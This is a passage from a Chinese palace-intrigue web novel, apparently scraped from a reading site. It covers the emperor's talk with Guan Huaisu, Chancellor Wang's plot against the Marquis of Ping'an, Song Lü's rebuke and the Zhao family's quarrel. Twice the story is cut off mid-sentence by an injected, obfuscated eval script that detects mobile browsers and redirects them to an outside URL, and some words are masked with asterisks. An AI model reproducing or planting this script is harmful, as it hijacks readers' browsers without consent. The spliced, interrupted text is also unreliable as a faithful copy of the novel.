“我看你行事机警果敢,比你娘当初也不让,又见你心中害怕,却还冒险问乐天的去向,说话也滴水不漏……便想起你娘了。”圣人笑了笑,说,“关家人有情有义,钰儿一生许多波折,我总想他身边多些靠得住的人。但你既然不愿意,朕不勉强你。” 他眯了眯眼睛,轻声说:“乐天那孩子也过得很辛苦,你喜欢他,是他的福气。” 关怀素赔笑,圣人也不用她回答,似乎只是憋闷,想找个人说说话,继续说:“闵太医出事,与你关系不大,但是你却帮了我大忙。” 关怀素口称不敢。 圣人笑了笑,说:“在朕面前不必如此拘礼,你阿娘当年和我吵架,还把我架在假山上跑了呢!” 关怀素从不知道母亲还有这一面,愣了一下,还想问话,突然听到不远处传来喧哗之声! 东府门口有人在生气地问:“什么事情要把咱们太子妃拦在外面?你们这些刁奴,给我打!” 关怀素清晰地看到,圣人脸上稍纵即逝地露出了浓浓的厌恶之色。 她的心猛地一跳。 这只是很快的一瞬间,圣人一颔首,门便大开,下人都跪了一地。 外头的人猝不及防,当头女子一袭华服、气势凌厉,见到圣人愣了一下,立刻换成恭敬模样,连忙请安:“圣人安康。” “萱蕚,何事在这里大呼小叫的?”圣人问。 “我听说殿下回家之后昏迷,又听说宫里来了人,心中担心,便急忙过来,可是我好歹也是太子妃,这帮下人却一直拦着我,这等紧要的时候,却不许我进来探视,陛下,这让我情何以堪啊!”太子妃一瞬间眼里涌出热泪,跪在地上哭泣地说,“我这太子妃,竟好像摆设一般,等闲连殿下人都见不到也算了,殿下昏迷这等紧要时候,竟也不让我见!” 关怀素垂眸,假装自己是个摆设。 太子妃拦在这里,看来就是为了告状。 圣人显然也明白了,沉声说:“是我叫人守着的。” 太子妃一愣,擦眼泪的手都顿住了,但是立刻反应过来,垂泪说:“是萱蕚有什么事情做得不好,叫陛下厌弃,才不许萱蕚接近殿下么?若是如此,萱蕚不敢多言。” 说是不敢多言,可是还是在问。 这太子妃的性子,瞧着倒是蛮直率的。 但是这也是瞧着,能叫赵白芷如此忌惮,太子妃绝不可能如表现得这般莽直。 关怀素只听着圣人说:“不过是刚才钰儿不舒服罢了,小事,你既然来了,便去看看他吧。” 太子妃闻言,便露出笑容,而后仿佛才看到身后的关怀素,立刻顿了一下,说:“圣人,这关姑娘怎地在这里?前些日子良娣妹妹推举了一群手帕交为官,你也在里面,你是想做什么官啊?” 最后这句话却是问关怀素的。 太子妃王萱蕚在圣人面前,倒像是个娇憨受宠的女儿一般,听说她早年小时候,宫里有小公主在世的时候,也曾在宫内小住作陪。 想来应也是圣人跟前长大的,公主后来早逝,圣人也许甚至移情,对她格外纵宠,论体面来说,不输自小养在宫里的福宁郡主。 关怀素不敢怠慢,立刻请安,谨慎地回话:“回太子妃殿下,朝堂任命乃是大事,臣女不敢随意妄言。” “哦?听说你擅长工学,难道不是想去工部?”太子妃继续问。 “不过是家学渊源罢了。”关怀素保持着行礼姿势回答。 她这两句话,既不自谦也不自大,太子妃本来想揪着她找点事儿,毕竟赵白芷以良娣身份荐官,就是在打她的脸,可是关怀素太谨慎,竟找不出下口的地方。 太子妃打量了她好几眼,才冷笑一下,转头笑着对圣人请安,一路去探望太子去了。 圣人带着关怀素一路出去,笑着问关怀素:“你瞧着太子妃如何?” “太子妃性子直率,快人快语。”关怀素斟酌回答。 圣人笑了。 他轻声说:“怀素,朕方才说错了,你呀,不像你娘,倒是和你祖父一模一样。” 说完,他已经上了马车。 关怀素恭敬地站在原地相送,圣人上了马车之后,掀开车帘子,对关怀素说:“怀素,你闵叔叔和乐天,还有你师兄都无事。” 圣人说完,对关怀素露出了一个极其罕见的,甚至有些轻俏的神色,对她笑着说:“朕等着看你给你娘报仇。” 关怀素心中剧震。 马车已经开走,柳叶匆匆赶来,着急地说:“方才我们在门口,突然被侍卫全部带走了,姑娘你没事吧?” 关怀素摇头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516969|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,心中涌起狂喜,说:“没事,我们没事了!” 圣人方才给她透露出了极其重要的信息——闵叔叔无事!而且,闵叔叔手里一定有证据,回来便可以解她的局! 关怀素最近出事之后,一直在为了这个证据的事情担忧,此刻提前知道结果,登时潸然泪下。 熬了这么久,终于可以一起报仇了! 母亲、姐姐,你们看到了吗? 关怀素的眼泪滚滚而落,仿佛看到了母亲和姐姐欣慰的笑容。 而在京师一边,王相府邸之中。 王寻第一次没了智珠在握的淡定,他放下手中的花剪,失声说:“你说什么?平安侯已经快到京师了?他没死在渭水里?” 王佐大汗淋漓地跪在地上,哭丧着脸对父亲说:“是,父亲,死士亲眼见他落水,前后搜寻了百里都未见踪迹,还以为此人死定了,没想到却叫他逃过了!” “算了,既然一击不中,就立刻蛰伏下来,不要漏出踪迹。”王寻看着面前的梅花盆景,沉声吩咐,“平安侯那身体早不中用了,在渭水落水受寒,就算有命回京,也不一定能活着回来。” 拿着花剪,王寻轻轻敲在三支枯梅枝中最为粗壮修长的一枝上,缓声说:“我们等着就好。” 可王佐却没动,有些惊恐地小声说:“还、还有个事儿……” 王相闻言,回头看看儿子的表情,登时微微皱眉,看儿子这样子,心中有了极其不好的预感。 王佐不是没见过世面的,他既然露出这等惊慌之色,只怕还有什么极其不好的消息。 而王相显然十分了解自己的儿子,他所料没错,王佐开口,就露出了一个晴天霹雳般的消息。 王佐说:“父亲,那帮人里面,有人身上穿着关娘子当初送去边关的棉袍,安乐侯落水的时候撕走了一截衣摆。” 王相的手一抖,花剪掉在了桌上。 那声音不大,但是却吓得王佐一下跪在地上,连声说:“父亲,此事是我失察,没想到当初舅舅拦下物资之后,竟还给家里留了一批,我也是这时候才知道……” 说完,王佐连忙说:“但是下面的人反复查看过,这批物资没有任何标记,再说安乐侯入水之后,只怕也拿不稳那东西,许、许不用管呢!” 王相却沉默了一阵,突然叹了口气,说:“事已至此,绝不能让平安侯回京面圣,你安排一下,不管用什么方法,我要你拦住他。” “父亲!”王佐登时愣了一下,有些紧张地说,“父亲,平安侯已经快回京,若是要动手,只怕只能在京师附近,到时万一惊动圣人或是大长公主,岂不是更加麻烦?!” “关家手段不可不防!那批物资,当初你舅舅也说再三检测过没问题,可关娘子只看了一眼,便能从十几件衣袍里找出自己那批,可见关家有我们不知道的秘技。”王相冷声说,“如今关怀素还在京师,她是关怀素一手养大的,还住在公主府,若是叫她查出什么,顺藤摸瓜下去,只怕就是大祸!” “父、父亲……”王佐惊恐地说,“关家竟真如此了得不成?” 王相看着面前的梅花盆栽,轻声说:“永远不要小看你的敌人。” 王佐闻言,咬牙,说:“那、那儿子便去安排了?” “去吧。”王相袖手,冷声说,“把事情做干净些,赵家的那些,养了十几年,顺便一起……” 王相拿起花剪,做了个剪断的姿势,而后轻声说:“当年之事,绝不能让任何人知道,这是关系我们家根本的大事!” 王佐闻言,连忙点头,又低声说:“前月小妹叫我寻到的《广陵散》曲谱已经找到了,她已经练习了两月,助兴的玩意儿也送到了,只需要等太子生辰,便能行事。届时只要小妹顺利有孕,自然万事无忧!” “你小妹要什么,都只管送去。”说到这里,王寻脸色才稍微缓和一些,轻声说,“将来整个中原正统,都在她肚子里呢。” “父亲说的是,其他的安排到底都差点意思,要我说,能成的话,当然还是小妹自己生的,流着王家血脉的孩子才好,流着汉人的血,才能好好地以汉室正统统御天下。”王佐也露出期待的神色,激动一下,立刻狠厉下来,说:“父亲,那我即刻着手去安排!” 王相点头,看王佐要出门,又唤住他,轻声说:“把李珺的事情闹大,必要的时候,把他全家丢出去掩人耳目!” 王佐点头,急忙出门办事。 留下王相在屋里,他看着面前的梅花,轻叹一口气,而后轻声说:“无忧啊,这么多年了,你还给我在找麻烦……” 只是他的语气却并不是嗔怪,反而更像是一种沉重的思念。 早已经不在的故人,当初在的时候,给他闹了多少麻烦,甚至给今日也埋下隐患,甚至在很多次的时候,在王寻还没有成为王相的时候,没有长成参天大树的时候,还差点闹得王寻前途断绝。 可是人在的时候,天天气的牙根发痒。 等到不在之后,哪怕如此弥天大祸,都只叫人再生不出一丝责怪的念头了。 王相闭了闭眼睛,不敢再想下去了。 当务之急,哪怕冒着风险,也要把这件事情压下去,否则此事可大可小。 第一百五十三章 宋尚书训子 而这边,关怀素与丽娘道别,却巧遇了宋律。 关怀素心中只道晦气,便准备绕路。 可是宋律却又站在了她面前。 关怀素皱眉,警惕地看着宋律,她不明白宋律这到底是在做什么,又想找什么茬? 她的眼神刺的宋律心中不舒服,他立刻开口,解释说:“关姑娘,我最近一直在找你,我想跟你、跟你……” 他说到这里,有些说不出口的样子。 关怀素皱眉,愈发警惕。 “我来跟姑娘道歉!”宋律见她愈发警惕,心中登时更难受,艰难地挤出这一句之后,他似乎有些下不来台,侧脸看着旁边,不敢看关怀素。 关怀素一愣:“哦?宋三公子为何道歉?” “先前我不知道你的身份,对姑娘多有冒犯,我、我现在知道了,姑娘人品高洁,是我眼拙了……”宋律立刻一股脑地说。 关怀素听了一会儿,才明白宋律的意思,才知道她在流云台寺和花园里说的话,居然都被宋律听到了。 关怀素听到这里,登时心中涌起一股怒火,她看着宋律,冷声问:“哦?宋三公子的意思是,你当初听到我说的那些话,以为我是为了勾引男人,今日你知道我的身份,便觉得我是天性纯善?” 关怀素从未如此觉得一个人面目可憎过,她看着宋律,厉声问:“凭什么李婉玉说这种话是装腔作势,关怀素便是天性纯善?你算什么?凭什么如此评价我姐姐?她被人围猎、被你们这帮富家子弟当作调侃,谁听过她的话?她从未想过攀龙附凤,是你们在揣测她、在奚落她!” “我、我不是这个意思!”宋律被她突然的发火惊到了,想解释,可是张口结舌,竟然说不出一句话来。 关怀素盯着宋律,冷声说:“尊贵的宋三郎是特地来找我的吧?你为何会这么喜气洋洋地过来找我,还告诉我你听到过我说话,觉得我品行好……你是来表达你的赏识?我猜猜看,你来的时候,是什么想法?你会不会以为我听到这些话,会喜极而泣,会觉得十分荣耀,天啊,我可是被你尊贵的宋三郎肯定了品行啊!” “我不是这个意思,我只是、我是……”宋律看着她,看她瞪着眼睛,眼泪却如断线珍珠一般流下来,宋律心中大痛,轻声呢喃出声,说,“我只是心悦姑娘……” 这是来京师以后,第二个跟关怀素表白心迹的男子。 但是周乐天让关怀素心中雀跃欢喜,只觉明月照江,天高海阔。 可宋律却让关怀素涌起了一股强烈的恶心。 她盯着宋律,压下恶心,看着他说:“你真让人恶心。” 宋律脸色惨白,身边的小厮听不下去,怒声说:“关姑娘,你说话也太伤人了!” “我伤人?你家公子见我姐姐被人欺压、被人设计,他难道看不明白这些小手段?”关怀素怒声说,“但是他不但假装不懂,还站在最前方欺辱揣测我姐姐,让我姐姐的处境雪上加霜!而今你跟我说,你一知道我的身份就心悦我……你心悦我什么?别说是品行,不要自欺欺人,你分明是心悦我姐姐的脸!但是你觉得她性子和身份配不上你尊贵的宋三郎,所以你才日日讥讽,你不管她是个可怜无辜的姑娘,你处处讥讽打压,不过就是你心中的不甘和不忿罢了!” 宋律的脸色惨白,急忙分辨:“我不是,我没有!” “你与我相处才几面?你知道我来自哪里、自小学了什么?你什么都不知道,不过是知道我的身份之后,你便突然心悦我了?”关怀素看着宋律,恶狠狠地说,“你喜欢我这张与姐姐一模一样的脸,所以你才屈尊降贵来了!你以为我会欣喜若狂?不,我只更觉得你是个自大狂傲、心胸狭窄的小人!” “关姑娘,你凭什么这么说我们公子!”小厮气得跳脚,大声说,“我们公子还想问你有什么可以帮忙,你却如此像个泼妇!” “对!我就是泼妇!”关怀素冷冷地说,“我也不需要尊贵的宋三郎帮忙。毕竟宋三郎曾用一张嘴,就能害我姐姐被送去庄子上为人毒杀……宋三公子可能觉得此事无关大雅,但是怀素一辈子都会记得。” 她说完,转身就走。 “怀素姑娘!”宋律唤她,关怀素转头,冷冷地看着他。 她的眼神之中,只有纯粹的仇恨。 宋律非常确信地意识到了,他完全没看错。 **说什么,便只能呆呆地看着关怀素转身离开了。 宋律痴痴呆呆地上了马车,他兴冲冲地出门,而后痴痴地回家。 当夜,宋律一口饭都没吃,宋夫人听到下人汇报,立刻问贴身小厮发生了何事。 小厮便把白日关怀素说的话全数都说了。 “老爷,律儿这事儿,怎么办啊?”宋夫人挥退小厮之后,对宋尚书着急地说。 宋尚书听得也是一直皱眉,说:“律儿和那个李婉玉,到底是怎么回事?” “我早先就看出一些苗头了。”宋夫人搅着帕子,着急地说,“律儿一直对女子十分冷淡,偏每次遇到李大姑娘就跟吃了**一样,我当他年纪小不懂事,日后便好了,没想到自小到大,越来越是这样。” 说到这里,宋夫人眼泪下来了,捏着帕子擦眼泪,说:“我当时觉得,这小孩儿斗嘴,原也不是大事。李婉玉瞧着虽文静一些,但是谁知道李家是那样的光景啊!若是早知道,我把律儿嘴缝上都不许他再多说一句!” “我当时以为是小儿女的情思,还想着这些日子再试探一下,若是可以,便把李大姑娘说给律儿。”宋夫人哭着说,“我还想着拿这事儿笑一下律儿,谁知道李婉玉早**!这下子律儿还傻乎乎地过去,叫关姑娘如何想啊?这下子成了仇了!” 宋尚书听完,也是头痛,他沉默一下,对夫人说:“也是我们平素对他宠爱太过,叫他性子古怪!” 说完,叹了口气,说:“你别管了,此事我去跟他说!” “夫君,你小心些,别对律儿太严苛,否则他愈发想不通了可如何是好!”宋夫人见宋尚书急匆匆地要去,便哭着叮嘱。 宋尚书到了宋律的屋里,便见到他死气沉沉地躺着,已经是傍晚时分,屋里漆黑一片。 宋尚书怒斥:“伺候的人是做什么的,这时候还不掌灯!” “爹,是我让他们不要掌灯的。”宋律起身,哑着嗓子说。 他发鬓凌乱,眼圈发红,瞧着十分可怜。宋尚书心里叹了口气,坐下来对他说:“白日的事情,我都听说了。” 宋律露出羞惭之色,哽咽地说:“父亲,父亲……” 他的眼泪流下来,说:“我害**李婉玉,我也是害死李婉玉的凶手,对么?” 直到今日被关怀素当面如此斥责,宋律才恍然明白了过来,他昔日的讥讽,对于那等处境的李婉玉来说,绝对是雪上加霜。 “律儿,李婉玉是被李家人害死的。”宋尚书看着宋律,说,“没有你,也会有别的借口,关娘子当年明面上陪嫁几千两,但是收藏才是真正的有价无市。” 宋尚书看着宋律说:“律儿,李婉玉一定会死,你明白吗?小儿抱金砖于闹市,却无人看顾,从来都没有好下场。” “可是李珺是她的亲生父亲。”宋律不敢置信地说,“虎毒尚不食子……” “若是吃掉一个最孱弱的孩子,能养活所有家人。不是每个人都能经受住这种诱惑。”宋尚书说,“关娘子什么都好,但是她太相信人心,便是最大的错处。” 宋律闻言,眼圈发红,说:“可是还是我,是我愚蠢,胡言乱语,才叫李家人找到了借口!若是不是我,也许关姑娘早早来了京师,或许李婉玉不会死!是我愚蠢轻佻,什么都不知道,便信了赵二郎的话,真以为她是要攀附太子!” “说到这个,我一直想问,你为何会对李婉玉如此偏见深刻,竟一丝也不曾怀疑,还次次出言讥讽?”宋尚书闻言,立刻追问,“你不是胡言乱语的孩子,我看着长大的儿子,我信得过,一定是出了什么事情,才叫你如此深信不疑,你告诉我,到底是什么事情?” 宋律闻言,沉默了一下。 竟然是真的有事。 宋尚书立刻眯了眯眼睛,说:“律儿,你老老实实告诉我,为父怀疑你是否被下套了。” 听到这里,宋律才犹豫了一下,轻声说:“前年的时候,我陪太子殿下赴宴,我稍微多饮了几杯,便去屋里小憩……” 那时候,宋律正闭着眼睛躺在榻上,结果没一会儿,却听到门口有人悄悄溜进来。 而后他一睁开眼睛看过去,便看到半透明的屏风后,一个姑娘正在宽衣解带! 宋律当场吓得浑身是汗,然后一个翻身从半开的窗户翻了出去! “我出去之后,便听到外头有人扶着太子殿下往这屋子过来,我才知道,这屋子原是给太子准备的。”宋律咬牙,轻声说,“我便过去拦了下来,只说那屋子被我不小心弄乱了,叫人扶着太子去了别处。” “这许是走错了,只因为这事儿,你便如此肯定她品行不端,未免太过武断了!”宋尚书听到这里,皱眉说。 “当然不是!”宋律顿了一下,似乎有些悲伤又有些不忿地说,“当日我把人都支使走,便是特地想叫她快些离开。” 谁知道,很快又有了下一次。 这次更糟糕,下人打翻了酒,污了太子殿下的衣袍,宋律在后面也被溅到,他便陪着殿下去更衣。 结果到了门口,太子殿下呕吐,宋律便不顾下人的安排,先把太子扶到给自己准备的厢房去安置。 而后宋律便自己出门,去太子殿下那间屋子去更衣。 结果进去之前,下人吞吞吐吐,想让他换个地方。 宋律当时没想太多,便径自去了那间厢房,推门而入,他刚叫下人把衣袍送进来,却转头听到了屋里床褥上的呻吟声。 是一个娇柔的女子声音。 宋律吓得差点当场弹起来,他匆匆走过去一看,竟然是醉得迷迷糊糊的李婉玉! 且更可怕的是,李婉玉的衣衫和头发都十分凌乱,若是此刻被人逮到,他们就都完了! “我一个男子,若是被发现,最多是受些风言风语。可她就不一样了,若是出这样的事情,她日后只怕也没法做人了。”宋律低头,轻声说,“所以我当日便说我醉倒了,叫人送了醒酒汤,又假装醉酒休息,在屋里呆了大半个时辰,直到她清醒一些。” 结果李婉玉在好容易半醒之后,被他扶着悄悄送出去回席上时,临别时对他说:“多谢公子救了婉玉一命。” 月光下,李婉玉眼中波光粼粼,轻声对他说:“遇见公子这样的真君子,是婉玉大幸。” 说完,李婉玉就转身离去。 那带着敬佩欢喜的眼神,初时让宋律骄傲欢喜,仿佛心口盈满了蜜糖。 可后来,便变成了讥讽,深深地不断刺痛宋律。 “后来赵二郎跟我说,那日那个屋子是给太子殿下准备的,亲近的来客家眷都知道。”宋律低头,轻声仿佛自言自语一般,“李婉玉后来又几次撞上太子,**还像是不认识我一般,她、她一直以来,都是在蓄意接近太子!我以为我救了她,实际上我或许是坏了她的好事!” 说到后来,宋律抬起头,露出了愤恨不平之色,眼圈发红,像是被激怒的野兽一般。 宋尚书人老成精,心中一下子凉了。 “你这个蠢货!你被人骗了,你现在还没反应过来吗?!”宋尚书恨铁不成钢,一拍桌子,说,“李婉玉她好好的,无事为何要去巴结太子?她只要不是真正的蠢货,就知道太子后宅里面姬妾美人众多,她若是真正没个主心骨、性子软的,那她凭什么不找个位高权重又护着她的年轻郎君,为何要去殿下身边争宠?” 宋律没明白父亲的意思,茫然地问:“我不知道,赵二郎说她心高气傲,想成为人上人,想赢过两个姐妹……” “她那两个姐妹算是个什么!”宋尚书气得狠了,压着脾气对宋律说,“你想想,若是她能嫁给你,你有功名亦有出身,她那两个姐妹,嫁赵二郎或是为妾,哪个抵得过当你的正妻?李婉玉若真是有心机,她指不定就是冲你来的!她若是没有心机……那她定然是被人盯上,在连续设局,想把她塞到殿下身边。” 说到这里,宋尚书声音压得极低,轻声说:“太子妃可是五年多无所出,圣人身子又不好,你自己想想,太子妃会不会着急,王寻会不会着急?” “赵二郎说,说她心悦的是赵二郎,但是她还是想攀高枝……”宋律被父亲几句话说得心乱如麻,一时竟然不知道说什么,只知道结结巴巴地重复赵二郎的话。 仿佛这样,自己就好像没做错什么,没错过什么。 “你这蠢货,现在还没想明白吗?!”宋尚书站起身,气的在屋里走了两圈,脾气下去了,看到儿子那样子,又涌起一股子悲凉来,他长叹一口气,疲惫地说,“你再仔细想想,然后告诉我,你觉得此事到底是怎么回事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516970|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋律沉默下来。 他开始认真地想,李婉玉到底遭遇了什么? 李婉玉真的是野心勃勃、一心想往上爬吗? “若李婉玉不是如此,那赵二郎无事为什么要骗我,他没必要骗我啊!”宋律想不明白,忍不住喃喃自语。 “为什么骗你?”宋尚书听到这里,愈发生气,怒声说,“一群伴读之中,就你早早考取了功名,圣人多次亲自问你的功课,你仔细想想,是不是你心悦李婉玉之事,叫赵二郎看出猫腻,他别的地方比不过你,拿这种事情下手出气了!” 情窦初开,自己心悦的女子品行不端,加上还喜欢远不如自己的人,对于宋律这种心高气傲的年轻人来说,个个都是戳中死穴! “不可能!我自己、我自己都不知道!”宋律咬牙,说,“赵二郎怎么会……” “那你跟我说,你看得出赵二郎这个人是什么品行吗?”宋尚书问。 “赵二郎此人轻浮浅薄,不过尔尔。”宋律立刻说。 “那就是了,赵家和赵二郎自己,当然会觉得自己英明神武、气度不凡,但是你身为外人,便能一眼看明白他是什么货色。”宋尚书说,“赵二郎看你,也是如此。” “你读书骑射等功夫,我素来是不担心的,哪怕是日后为官做宰,我也绝对放心你。”宋尚书叹了口气,说,“我就是没想到,你会栽在这种儿女情长上头。” 宋律不是蠢货,父亲如此一通分析下来,他脑子里迅速掠过无数次与李婉玉的巧遇。 而后他仿佛脑子里的混沌被突然劈开一般,猛地反应过来,他惊讶地说:“父亲,当日李婉玉可能是被人陷害,她是不是感知到了,所以她真的在感激我!那日之后我们再遇到,她假装不认识我,可是有一次我们单独撞上,她突然朝我跑过来,想说话,我、我……” 宋律说到这里,突然情绪崩溃,眼泪瞬间汹涌而下! 他以为自己忘记了! 那日是桂花开放、馥郁香甜的暖秋,他几次与李婉玉在人前相逢,想说话,可李婉玉却移开了眼神,假装不认识。 赵二郎又说了一堆似是而非的话,宋律心中正是气恨激荡的时候,不远处李婉玉看到他,突然眼睛发亮,少女提着裙摆,一脸笑容地到了他的面前。 那是总是灰扑扑的李婉玉从未有过的样子,喜悦的、轻快的,那一刻她立于香气迷人的桂花树下,像是被拂去尘土的玉兔儿一般。 那时候她想说什么? 她已经知道他是宋律,不是太子殿下。她在人前假装不认识自己,可是人后却那么喜悦地上前来,到底是想说什么? 她是不是打算说:“原来你是宋家三郎!” 或许还有别的什么。 毕竟宋律这辈子,没见过李婉玉如此鲜活轻快的样子。 “我太蠢了,我、我当时、我当时……”宋律突然崩溃地捂住脸,整个人快呼吸不过来了。 他当时被妒忌和羞耻蒙蔽了头脑,他脱口而出,冷声讥讽,说:“是不是叫李大姑娘失望了,我不是太子殿下。” 当时李婉玉的神情一下子变了,那笑容一下子凝固了。 她的唇微微颤抖,想说什么。 但是最后变成了发红的眼睛,而后变成了怯意。 最后,她慌乱地逃走了。 宋律当时看着她的背影,心中酸楚难言。 她当时到底想说什么? 上一次道别的时候,她的眼神之中带着欢喜和倾慕。 所以那一次,她如此喜悦地朝他跑过来的时候,是想和她说什么? “起来!不许哭!”宋尚书见他悲悚,已经完全没了名门公子应有的样子,心中心疼,却不敢在这个时候放任他继续悲悚下去,见宋律没有反应,宋尚书一把抓起他的头发,逼迫宋律看着他,冷冷地说,“你叫人设计、又被人坑害,这时候不是哭的时候,你要报仇!” “报仇?”宋律呆呆地看着父亲。 “是,报仇!替你自己报仇,也替李婉玉报仇,还有替李婉玉的妹妹报仇!”宋尚书狠狠地说,“难道你便如此眼睁睁瞧着那帮人做了这一切,而后便只在这里哭不成?!” “父亲,我要报仇!”宋律一把抓住父亲的手,突然燃起了新的希望,他瞪着眼睛,恶狠狠地说,“我要报仇!!我要怎么做,父亲?!” “你先起来,好好洗漱睡一觉,明日我下朝之后,来我屋里,我们再细说!”宋尚书轻声说,“报仇之前,你自己不能垮掉!” 宋律终于被哄着稍微镇定下来,宋尚书一路回屋,宋夫人等了许久,一见他急忙问事情如何。 “律儿已经要睡了。”宋尚书把方才的事情细说了一下,宋夫人登时急了,说,“赵二郎什么意思,他当我们宋家无人了吗?竟这样对我们三郎!” “王寻当时在帮着太子妃选人手,应是看中李婉玉,想做局去母留子,李婉玉当日身份和性子确实都是上佳人选。”宋尚书心中早有了推论,在宋律面前不好说,此时在妻子面前,便恶狠狠地说,“律儿当时明显是碍了王家的事情,赵二郎心中妒恨律儿,如此顺水推舟,还卖了王家人情。” “那难道这事儿就这么算了不成?!”宋夫人登时哭了,说,“知儿莫若母,夫君,三郎是个死心眼的孩子,你不是不知道!若是那李婉玉还活着,这事儿怎么都好说,但是李婉玉**,还和三郎有关,我怕、我怕这孩子一辈子过不去这坎了啊!” “哪有什么一辈子的事情,三郎还小,便是惦记几年,也无什么大事。”宋尚书并不觉得情情爱爱有什么大事,他更愤怒的是,“他们赵家欺我宋家无人么?竟然敢拿我家三郎当出头椽子,此事先不说磨损我儿心性,就说若是关姑娘记恨,现在关姑娘又在风口浪尖,若是叫她宣扬出来,咱们三郎日后岂不是废了!” 这才是宋尚书一直压着最恨的事情,这事情处理不好,宋律日后说不得青云之路就要断了! 关怀远留下的名声可不是开玩笑的,而且关姑娘修缮京师水道,如今在百姓里的声望也极高。看她如今能和李珺打个平手就知道,她不是个省油的灯! “关姑娘和良娣关系好,咱们与赵家能如何啊?”宋夫人闻言,也是气恨,可也担心夫君与人贸然对上会吃亏,便哭着说。 “我找机会,给关姑娘送个人情。”宋尚书眯了眯眼,下定决心,冷声说:“既然对我儿下手,我若是不还礼,岂不是显得我好欺负?” 第一百五十四章 赵家安排 第二日,宋尚书突然在朝堂大力赞同良娣举荐女官,列出十一点关娘子曾经做过的事情,诸如修缮育婴堂、开工坊厚薪聘请工人等等,直言关娘子所做之事,抵得过户部尸位素餐的侍郎! 众人都对宋尚书的突然站位不明所以,宋尚书却又再次上书,参李珺治家不严,家中女儿出嫁为妇之后,戕害未出世庶子,实在是令人发指! 这两出叫李珺不明所以,不知道自己到底是怎么得罪了宋尚书,竟叫他疯狗一样咬着不放! 而赵家也是大为愤怒! “我叫你好好对你媳妇!你做了什么?你新婚前两夜天天住在通房屋里!”赵金白下朝之后,气地叫赵二郎过来大骂,“你既然宠着妾室,你要是有能耐护得住她也就算了,现在孩子没护着,偏还叫人放出去闹出如此丢人现眼的蠢事,你媳妇现在可能耐了,连圣人都听到她的好名声了!” “老爷何必生气。”赵二郎还没说话,赵夫人就进门了,她冷静地说,“那丫鬟是我派人放出去的。” 一句话说得赵金白差点暴跳如雷,他瞪眼说:“你疯了?你把那丫头放出去丢人?” “丢人?丢什么人?我一个成型的孙子,这个月生下来都能哭了,她倒好,一嫁进来就下如此狠的手!”赵夫人更怒,说,“早知道她和她娘一个样子,就不该娶她!我早说了从我娘家找个听话可心的,偏你说李家好,死活要从李家找,看看找来了什么,一个毒妇!” 赵夫人这些日子也十分不舒心,她开始对婉淑还有几分怜爱,甚至还帮着她申斥赵二郎,原以为这姑娘是个可怜忠厚的,却没想到,竟是个罕见的狠辣之人! “当初孙萍与舅舅家的姐妹反目,我就说了,这样的娘,只怕养出来的女儿不是简单的。是夫君你说不可能,说孙萍是被冤枉的,这下子好,家里娶了这个毒妇,家宅不宁!”赵夫人也不是多疼爱那个未出世的孩子,可是这媳妇刚进门就阳奉阴违,岂不是不把她一个婆母放在眼里?更何况现在闹成这样! 赵大人听到这里,也是生气,说:“王相跟我再三保证,只说他日李珺就是登阁拜相的料子,谁能想到他后宅不宁到了如此地步!养出的女儿也是个狭窄心肠,不过是个未出世的孩子,生下来寄在她的名下,丫鬟远远地打发走了,孩子不和亲生的一样?偏她竟不知是发什么疯!” 可是现在说这些有什么用? 都已经被参到圣人知道的程度,当务之急,是必须把家里人从这件事情上摘出去。 还没想出办法,外头就有人传信来,下人说:“孙府尹来消息,说明儿个请咱们家二奶奶去府衙。” “去做什么?”一屋子登时都愣了,赵二郎忙问。 “说是请二奶奶说说如何下药的事情。”下人躬身紧张地回。 “你下去吧。”赵金白一下子冷静下来了,见下人下去,他立刻说:“二郎,你跟你媳妇说,我不管她怎么办,明儿把这事儿推到李家去。” “父亲,这、这会得罪我岳父的啊!”赵二郎登时急了,说,“婉淑到时候怎么回娘家呢?” “怎么,你媳妇打了你没出世的儿子,你这时候还怕她不好做人?”赵金白还没说话,赵夫人就怒了,说,“我怎么不知道你这么温柔体贴?!” “孩儿不是这个意思。”赵二郎想分辨,赵大人却已经说:“你怕得罪李珺,便不怕得罪宋尚书?” 赵二郎登时一愣,说:“我与宋大人从未私下说过话,怎会得罪他?” “你不知道?今儿下朝我捏着鼻子问他怎么回事,他说你知道,让我回来问你!”赵大人说到这个就来气,说,“你到底做了什么?!” “我没有……啊!”赵二郎突然想到了宋律。 他不是蠢人,立刻反应过来了——李婉淑**,宋律若是真对她上心过,肯定有反应,他难道是发现什么了? “看来你知道了,说吧,到底是怎么回事。”赵金白看着儿子,立刻问。 赵二郎期期艾艾地把宋律可能看上了李婉玉,叫他说了离间的话的事情全部说了。 赵金白脸色一下子变了,他看着赵二郎,说:“你难道不知道宋家把宋律看得跟眼珠子似的?你平白惹他做什么?再说了,李婉玉嫁给宋律,你今时今日就是他的连襟,他都已经有了功名,只等着明年下场,指不定就是本朝最年轻的进士,日后说不得就能提携你,你到底是为什么猪油蒙了心,非得坑他这么一把?!” “是啊,二郎,你又不是多喜欢李婉玉,你办这事儿是做什么?!”连赵夫人都不明白。 “当时、当时我听王叔说,说太子妃多年无所出,想找个家世清白的姑娘去陪她……”赵二郎不敢隐瞒,只能吞吞吐吐地说。 赵金白听到这里,脸色大变。 他立刻看周围,见侍从都已经被打发出去,才松了口气。 而后赵大人咬牙,说:“蠢材!你是愚不可及!” 